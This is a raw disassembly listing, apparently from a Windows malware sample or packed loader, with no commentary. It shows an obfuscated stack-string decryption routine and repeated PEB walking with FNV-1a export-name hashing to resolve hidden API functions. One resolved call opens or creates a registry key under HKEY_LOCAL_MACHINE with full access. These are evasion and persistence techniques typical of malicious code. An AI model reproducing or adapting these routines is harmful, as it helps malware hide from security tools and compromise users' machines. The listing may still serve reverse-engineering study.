jmp 0x14015e02f
lea rdx, [rbp + 0x1026fa2]
jmp 0x14015e02f
lea rdx, [rbp + 0xf10]
lea rcx, [rbp + 0x1f8]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2da0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14015e064
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x2da0]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2da0]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2da0]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x6d0], Ordinal_60
mov byte [rbp + 0x6d1], Ordinal_143
mov byte [rbp + 0x6d2], 0x61
mov byte [rbp + 0x6d3], 0xf3
mov byte [rbp + 0x6d4], 0x5a
mov byte [rbp + 0x6d5], 0xf1
mov byte [rbp + 0x6d6], 0x62
mov byte [rbp + 0x6d7], 0xf7
mov byte [rbp + 0x6d8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x6d9], 0xf5
mov byte [rbp + 0x6da], 0x5b
mov byte [rbp + 0x6db], 0xfb
mov byte [rbp + 0x6dc], WSACleanup
mov byte [rbp + 0x6dd], 0xf9
mov byte [rbp + 0x6de], 0x5b
mov byte [rbp + 0x6df], 0xff
mov byte [rbp + 0x6e0], r15b
mov byte [rbp + 0x6e1], 0xfd
mov byte [rbp + 0x6e2], 0x59
mov byte [rbp + 0x6e3], 0xe3
mov byte [rbp + 0x6e4], Ordinal_79
mov byte [rbp + 0x6e5], 0xe1
mov byte [rbp + 0x6e6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x6e7], 0xe7
mov byte [rbp + 0x6e8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x6e9], 0xe5
mov byte [rbp + 0x6ea], 0x7f
mov byte [rbp + 0x6eb], 0xeb
mov byte [rbp + 0x6ec], 0x7a
mov byte [rbp + 0x6ed], 0xe9
mov byte [rbp + 0x6ee], Ordinal_79
mov byte [rbp + 0x6ef], 0xef
mov byte [rbp + 0x6f0], 0x7a
mov byte [rbp + 0x6f1], 0xed
mov byte [rbp + 0x6f2], 0x88
mov byte [rbp + 0x6f3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x6f4], 0x84
mov byte [rbp + 0x6f5], Ordinal_211
mov byte [rbp + 0x6f6], Ordinal_217
mov byte [rbp + 0x6f7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x6f8], rax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x14015ed42
movzx r8d, byte [rbp + r9 + 0x6d0]
mov rdx, r8
cmp rdi, r9
ja 0x14015ed39
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14015e220
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x14015e264
je 0x14015ecb8
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015ec30
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015ec03
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14015ebb8
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14015eb67
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x14015ed30
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14015e28a
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x14015e49f
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14015eb56
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015eb33
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14015eb0d
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14015eae7
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015eac4
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14015e7e2
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14015e7c1
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14015e79b
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14015e778
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14015e764
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14015e741
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015e71e
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14015e70c
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14015e6e9
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14015e6d5
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14015e2d8
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14015ed0d
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14015ecea
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14015e4d9
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14015e4b6
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14015e490
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14015e6b4
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14015e693
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14015e644
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x14015e61a
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14015e2d8
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14015e606
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14015e5e5
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14015e5c4
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14015e5b0
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14015e58d
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14015e569
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14015e546
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14015e523
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14015e4ff
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14015e2d8
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x14015e2d8
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015e2cb
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x14015e264
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015e1e8
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14015eb83
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x14015ebad
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14015ebb0
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14015ebd4
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x14015ebfe
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x14015eaf6
movabs rdx, 0xcb6135c3c2b969c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x14015eae0
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x14015e705
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14015e9a4
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
mov byte [rbp + r9 + 0x6d0], bl
jmp 0x14015ece2
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 9
jb 0x14015e637
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14015eb85
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
jmp 0x14015e840
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
jmp 0x14015e805
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14015e9a4
movabs rdx, 0x1e60f63924a08208
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x14015ec83
movabs rdx, 0xd390f2407abef38c
mov ecx, r12d
jmp 0x14015e8c0
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14015ec1e
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14015ebfe
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x14015e578
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14015ebb0
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015ebad
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14015eb83
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14015e87e
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x14015ea99
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x14015e922
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
cmp rdi, 0x1000
jae 0x14015ea73
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x14015e9bb
movabs rcx, 0xfb50a2d3351fd1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14015e665
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015e8aa
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14015ecd3
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015e8d5
movabs rdx, 0xb8b05b574343cd24
mov ecx, r14d
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14015eae0
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015e901
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x14015ec1e
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015e807
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14015eb1c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015e93f
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x14015e50e
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015e96b
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14015ebad
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015e988
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x14015e578
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14015e842
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015ecd3
jne 0x14015e9e0
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14015ecd3
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14015ea0a
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14015eae0
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015ea27
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x14015eaf6
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015ea52
movabs rcx, 0xbc30baa7306928c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14015ebd6
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14015e665
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14015e50e
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x6d0]
sub bl, al
sub bl, 0x50
jmp 0x14015e585
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x6d0]
add bl, dl
jmp 0x14015ec4e
movabs rdx, 0x9d38457f9ceb3d7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
add bl, dl
jmp 0x14015ec51
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015ec1e
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015ebfe
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015ebb0
movabs rdx, 0xdc582daba1a1e692
mov ecx, esi
jmp 0x14015e50e
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x36
add bl, dl
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x6d0], cl
add r10, rsi
sub r9, rsi
jmp 0x14015ece2
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, bl
add r8b, cl
sub r8b, r14b
mov byte [rbp + r9 + 0x6d0], r8b
add rdi, r10
jmp 0x14015ec1e
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14015ece2
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, cl
add bl, r8b
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x6d0], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x6d0], r8b
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14015ecd3
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, r12b
movzx eax, byte [rbp + r9 + 0x6d0]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14015e1d5
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x14015e1d2
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x14015e1c2
lea r12, [rbp + 0x145e478]
jmp 0x14015ed49
lea r12, [rbp + 0x136abb6]
jmp 0x14015ed49
lea r12, [rbp + 0x6d0]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x14015eeb3
mov esi, r13d
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015edc5
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015edb8
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015eda9
cmp edx, esi
jne 0x14015ee97
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14015ee97
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14015ee97
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015ee19
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14015ee0e
cmp edx, r14d
je 0x14015ee2f
test r10d, r10d
jne 0x14015edf9
jmp 0x14015ee97
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14015eeac
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14015eeac
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14015ee8a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14015ee66
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14015ee7d
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015eea9
cmp qword [rbx + 0x30], r13
jne 0x14015ed79
mov r10, r13
mov qword [0x1404fc178], r10
mov qword [rsp + 0x40], r13
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x14015f050
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
mov r15d, 0x811c9dc5
test esi, esi
je 0x14015ef66
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, r15d
jmp 0x14015ef58
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14015ef47
cmp r8d, esi
jne 0x14015f03f
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14015f03f
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14015f03f
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec ebx
lea r8, [r10 + rbx*4]
mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, r15d
jmp 0x14015efbe
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x14015efb1
cmp r8d, r14d
je 0x14015efd3
test ebx, ebx
jne 0x14015ef9f
jmp 0x14015f03f
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x14015f047
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14015f047
mov esi, r15d
mov r14d, r15d
jmp 0x14015f010
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14015f002
jmp 0x14015f025
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14015f018
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14015ef13
mov qword [0x1404fc118], rdx
jmp 0x14015f056
mov r12d, 1
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x14015f1c2
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015f0d9
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015f0cc
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015f0bd
cmp edx, esi
jne 0x14015f1a6
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015f1a6
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015f1a6
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015f12d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015f122
cmp edx, r14d
je 0x14015f143
test r11d, r11d
jne 0x14015f10d
jmp 0x14015f1a6
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14015f1bb
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14015f1bb
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015f185
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14015f177
jmp 0x14015f19a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x14015f18d
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015f1b8
cmp qword [rbx + 0x30], r13
jne 0x14015f08d
mov rbx, r13
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x14015f334
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015f24b
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015f23e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015f22f
cmp edx, esi
jne 0x14015f318
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015f318
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015f318
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015f29f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015f294
cmp edx, r14d
je 0x14015f2b5
test r11d, r11d
jne 0x14015f27f
jmp 0x14015f318
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14015f32d
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14015f32d
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015f2f7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14015f2e9
jmp 0x14015f30c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14015f2ff
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015f32a
cmp qword [rbx + 0x30], r13
jne 0x14015f1ff
mov rdx, r13
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x14015f49d
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015f3b4
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015f3a7
